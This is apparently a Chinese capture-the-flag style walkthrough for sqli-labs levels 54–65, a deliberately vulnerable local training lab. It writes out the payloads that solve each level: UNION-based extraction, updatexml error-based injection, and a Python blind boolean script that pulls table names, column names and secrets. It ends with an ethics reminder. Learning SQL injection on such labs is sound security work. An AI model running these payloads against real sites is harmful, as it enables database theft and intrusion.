2024.2.5
level-54
1、先判断类型和闭合类型
?id=1/0 #正常 证明不是数字型
?id=1' #错误
?id=1' -- a #正常 判断是 ' 闭合
2、 判断列数
这里需要运气,但是根据前面50多关的经验直接猜测是3列
?id=-1' union select 1,2,3 -- a
3、爆表名,爆列名
由于有两个回显位,可以一口气爆两个
?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- a
4、 爆字段名
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='k4btflpcqe') -- a
5、爆数据
四个字段,四次机会
经过尝试,第三个字段是正确的
?id=-1' union select 1,2,(select group_concat('~',secret_0LJ6,'~') from challenges.k4btflpcqe limit 0,1) -- a
(如果是第一次打这个关卡,但凡运气和判断失误一点都不太能一次过)
level-55
1、先判断类型
?id=1/0 #错误 证明是数字型
?id=1 -- a #错误
?id=1) -- a #正常 判断是 ) 闭合2、后面过程与 level-54 一样
level-56
1、先判断类型
?id=1/0 #正常 证明不是数字型
?id=1' #错误
?id=1' -- a #错误
?id=1') -- a #正常 判断是 ') 闭合2、后面过程与 level-54 一样
level-57
1、先判断类型
?id=1/0 #正常 证明不是数字型
?id=1' #正常
?id=1" #错误
?id=1" -- a #正常 判断是 " 闭合2、后面过程与 level-54 一样
level-58
1、先判断类型
?id=1/0 #正常 证明不是数字型
?id=1' -- a #因为有报错信息可以直接判断出'闭合
2、爆列名
有报错信息的存在,这次选择报错注入,节省次数的浪费
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) -- a
3、爆字段
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='q9821q44au'),'~'),1) -- a
4、爆数据
?id=1' and updatexml(1,concat('~',(select group_concat('~',secret_L4Z3,'~') from challenges.q9821q44au limit 0,1),'~'),1) -- a
level-59
1、先判断类型
?id=1/0 #错误 证明是数字型
?id=1 -- a #正常 判断无闭合2、后面过程与 level-58 一样
level-60
1、先判断类型
?id=1/0 #正常 证明不是数字型
?id=1' #错误
?id=1" #根据报错信息知道是 ") 闭合
?id=1") -- a #正常2、后面过程与 level-58 一样
level-61
1、先判断类型
?id=1/0 #正常 证明不是数字型
?id=1' #根据报错信息知道是 ')) 闭合
?id=1')) -- a #正常2、后面过程与 level-58 一样
level-62
1、先判断类型
1、先判断类型
?id=1/0 #正常 证明不是数字型
?id=1' #错误
?id=1" #正常
?id=1' -- a #错误
?id=1') -- a #正常 判断是 ') 闭合
2、爆数据
首先需要了解一下表名,列名,数据的组成
表名:10位随机的字母(含大小写)或数字
列名:secret_+4位随机的字母(含大小写)或数字
数据:24位随机的字母(含大小写)或数字
显然正常的爆破次数(38*62=2356)是远远大于130次的
而且用二分法 (38*log2(62)=228) 也大于130
既然这样,只能写脚本绕过了
import requestsdef binary_query(start,length,payload):name = ''times = 0for i in range(start,start+length):p, q = 0, len(words)-1while p<=q:resp = requests.get(url, params={'id':payload.format(i,words[(p+q)//2])})times += 1if ("Login name" in resp.content.decode('utf-8')): #向右找p = (p+q)//2+1else: #向左找q = (p+q)//2-1name += chr(words[p])return name,times#生成0~9,A~Z,a~z的ascii码
words = [i for i in range(ord('0'),ord('9')+1)]+[i for i in range(ord('A'),ord('Z')+1)]+[i for i in range(ord('a'),ord('z')+1)]
url = r"http://127.0.0.1/sqli-labs-master/Less-62/"#爆表名
table_payload = "1') and if(ascii(mid((select table_name from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- a"
table_name, table_time= binary_query(1,10,table_payload)
print(f'table_name: {table_name}\ntable_time: {table_time}')#爆列名
column_payload = f"1') and if(ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' and column_name like 'secret_%')"+",{},1))>{},1,0) -- a"
column_name,column_time = binary_query(8,4,column_payload)
column_name = 'secret_'+ column_name
print(f'table_name: {column_name}\ntable_time: {column_time}')#爆数据
data_payload = f"1') and if(ascii(mid((select {column_name} from challenges.{table_name})"+",{},1))>{},1,0) -- a"
data_name,data_time = binary_query(1,24,data_payload)
print(f'table_name: {data_name}\ntable_time: {data_time}')print(f'sum_time:{table_time+column_time+data_time}')
level-63
?id=1' -- a
' 闭合,剩下的和level-62一样
level-64
?id=1)) -- a
)) 闭合,剩下的和level-62一样
level-65
?id=1") -- a
") 闭合,剩下的和level-62一样
这一路上走走停停,两周的时间,当初茫然的菜鸟似乎已经开始可以独自面对风雨,从对着单引号一脸懵逼到如今可以写脚本来解放双手,sql注入的大门已经为你我打开,此时,训练场已经满足不了想要展翅的❤,是时候背起行囊,前往大千世界,但切记,虽可飞翔,但羽翼仍未丰满,面对挑战,不要气馁,面对弱小, 务必留情,切勿挑战世界的法则,与千千万万一起构建和谐的社会